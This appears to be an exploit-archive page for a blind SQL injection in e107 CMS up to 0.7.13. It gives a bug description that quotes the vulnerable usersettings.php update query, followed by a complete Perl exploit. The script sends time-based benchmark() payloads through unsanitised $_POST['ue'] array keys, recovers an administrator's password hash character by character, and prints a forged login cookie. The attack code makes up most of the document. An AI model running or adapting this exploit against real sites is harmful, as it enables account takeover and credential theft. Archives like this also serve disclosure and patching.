header-logo
Suggest Exploit
vendor:
e107
by:
GiReX
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: e107
Affected Version From: 2000.7.13
Affected Version To: 2000.7.13
Patch Exists: YES
Related CWE: N/A
CPE: a:e107:e107
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2008

e107 <= 0.7.13 Blind SQL Injection Exploit

e107 presents a vulnerability in userssettings.php (line 363-395), a POST array ($_POST['ue']) goes into an update query, it cleans the values of this array but not the keys name. As the return value of the update query isn't checked, an attacker can use a blind benchmark() method to exploit the vulnerability.

Mitigation:

Upgrade to the latest version of e107
Source

Exploit-DB raw data:

# Author:    __GiReX__	
# Homepage:  http://girex.altervista.org
# Date:      19/10/2008

# CMS:       e107
# URL:       http://e107.org/

# Note:	     Works regardless of php.ini settings (magic_quotes, register_globals..)

# Attenction: This exploit was written for educational purpose. 
# Use it at your own risk. Author will be not responsible for any damage.


# Description: e107 is a content management system written in PHP 
# and using the popular open source MySQL database system for content storage. 
# It's completely free, totally customisable and in constant development.


# Bug description:
# e107 presents a vuln in userssettings.php (line 363-395), a POST array ($_POST['ue'])
# goes into an update query, it cleans the values of this array but not the keys name...

# File: usersettings.php (line 363-395)
	if($_POST['ue'])
        ...
		foreach($_POST['ue'] as $key => $val)
			$err = $ue->user_extended_validate_entry($val,$extList[$key]);
			if(!$err)
			  $val = $tp->toDB($val);						   <== Cleans values
			  $ue_fields .= $key."='".$val."'";                <== Here our $_POST['ue'] keys and values
		}
    }
	...
# Lines: 496-500	

	if($ue_fields)
	{
        // ***** Next line creates a record which presumably should be there anyway, so could generate an error
		$sql->db_Select_gen("INSERT INTO #user_extended (user_extended_id, user_hidden_fields) values ('".intval($inp)."', '')");
		$sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'");  <== Here vulnearable query
	}

# As you can see the return value of the update query isn't checked so we have to use a blind benchmark() method



#!/usr/bin/perl 
# e107 <= 0.7.13 Blind SQL Injection Exploit
# Admin/User's Password Retrieve Exploit
# Works regardless of php.ini settings
# Coded by __GiReX__

use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;
use Digest::MD5  qw(md5 md5_hex md5_base64); 

if(@ARGV < 4)
{
    banner();
    print "[+] You need an user account to run this exploit\n\n";
    print "[+] Usage: perl $0 <host> <path> <your_username> <your_pass> <victim_id>\n";
    print "[+] Example: perl $0 localhost /e107/ test password 1\n";
    exit;
}

my $target  =  ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0].$ARGV[1]:  'http://' . $ARGV[0].$ARGV[1];
my ($user, $pass, $id) = ($ARGV[2], $ARGV[3], ($ARGV[4]) ? $ARGV[4] : 1);

my $lwp =  new LWP::UserAgent or die;
my $cookie_jar = new HTTP::Cookies or die;
$lwp->cookie_jar( $cookie_jar );

my @cset  =  (48..57, 97..102); 

my $benchmark = 1000000;
my $prefix = "e107";     
my $hash = "";

banner();
try_login($user, $pass) or die "[-] Unable to login with $user and $pass\n";

syswrite(STDOUT,      "[+] Logged in with your account..\n".
                      "[+] Checking database delay, please wait..\n\n" );

$ndelay = check_bench("1=0");
print STDOUT "[+] Normal delay: $ndelay\n";

$bdelay = check_bench("1=1");
print STDOUT "[+] Benchmark delay: $bdelay\n\n"; 

if($bdelay - $ndelay < 4)
{
    print STDOUT "[-] Benchmarck delay too small compared to normal delay, increase it.\n";
    exit ();
}

    
for(my $j = 1; $j <= 32; $j++)
{  
    foreach $char(@cset)
    {    
        info(chr($char), $hash, "password");
        
        my ($pre_time, $post_time) = time();
        $rv = check_char($char, $j, "user_password");    
        $post_time = time();
    
             if($rv and ($post_time - $pre_time) > ($ndelay + 3))
             {        
                 $hash .= chr($char);
                 last;
             }
    }
    
    last if $j != length($hash);
}    

if(not defined $hash or length($hash) != 32)
{
    print STDOUT "\n\n[-] Exploit mistake: please re-check benchmark\n";
    exit;
}
else
{
    print STDOUT "\n\n[+] You can try to login with this cookie:\n";
    print STDOUT "[+] Cookie: ${cookie_prefix}cookie=${id}.". md5_hex($hash)."\n";
}

sub try_login
{
   my ($user, $pass) = @_;   
     
     my $res = $lwp->post( $target.'news.php' , 
                                
                                [ 'username'  =>  $user,
                                  'userpass'  =>  $pass,
                                  'userlogin' =>  'Login',
                                  'autologin' =>  '1' ] );
                                  
     if($res->status_line =~ /^302|200|301/ or $res->is_success)
      {
          if($res->as_string =~ /Set-Cookie: (.+)cookie/)
          {
                $cookie_prefix = $1;
                return 1;
          }
          
          return undef;
      }
    
  die ("[-] Unable to request ${target}news.php ".$res->status_line."\n");
 }

sub info
{
  my($c, $cur, $str)  =  @_;
    
    $cur = '' unless defined $cur;
    print  STDOUT "[+] Victim ${str}: ${cur}${c}\r";
    
  $| = 1; 
}

sub check_bench
{
  my $true = shift;
  my $delay = 0;

    my $sql = "user_hidden_fields=99 AND CASE WHEN(${true}) THEN benchmark(${benchmark}, MD5(1)) END#";
       
    for(1..3)
    {
        my ($pre_time, $post_time) = time();  
    
        my $res = $lwp->post( $target.'usersettings.php',
                                [ 'email'  =>  'damn@email.com',
                                  'updatesettings' => 'Save Settings',
                                  "ue[${sql}]" => 'damn' ]);        
        $post_time = time();        
        
        $delay += int($post_time - $pre_time);
		}
        
  return ceil($delay / 3);
}

sub check_char
{
  my ($char, $n, $field)  =  @_ ;
  $rand = int($char + $n);
  
  my $sql = "user_hidden_fields=${rand} AND CASE WHEN(SELECT ASCII(SUBSTRING(${field},${n},1)) ".
            "FROM ${prefix}_user WHERE user_id=${id})=${char} THEN benchmark(${benchmark}, MD5(1)) END#";
       
    my $res = $lwp->post( $target.'usersettings.php',
                                [ 'email'  =>  'damn@email.com',
                                  'updatesettings' => 'Save Settings',
                                  "ue[${sql}]" => 'damn' ]);                    
        
  return $res->is_success;
}

sub banner
{
    print "\n";
    print "[+] e107 <= 0.7.13 Blind SQL Injection\n";
    print "[+] Admin/User's Password Retrieve Exploit\n";
    print "[+] Coded by __GiReX__\n";
    print "\n";
}

# milw0rm.com [2008-10-19]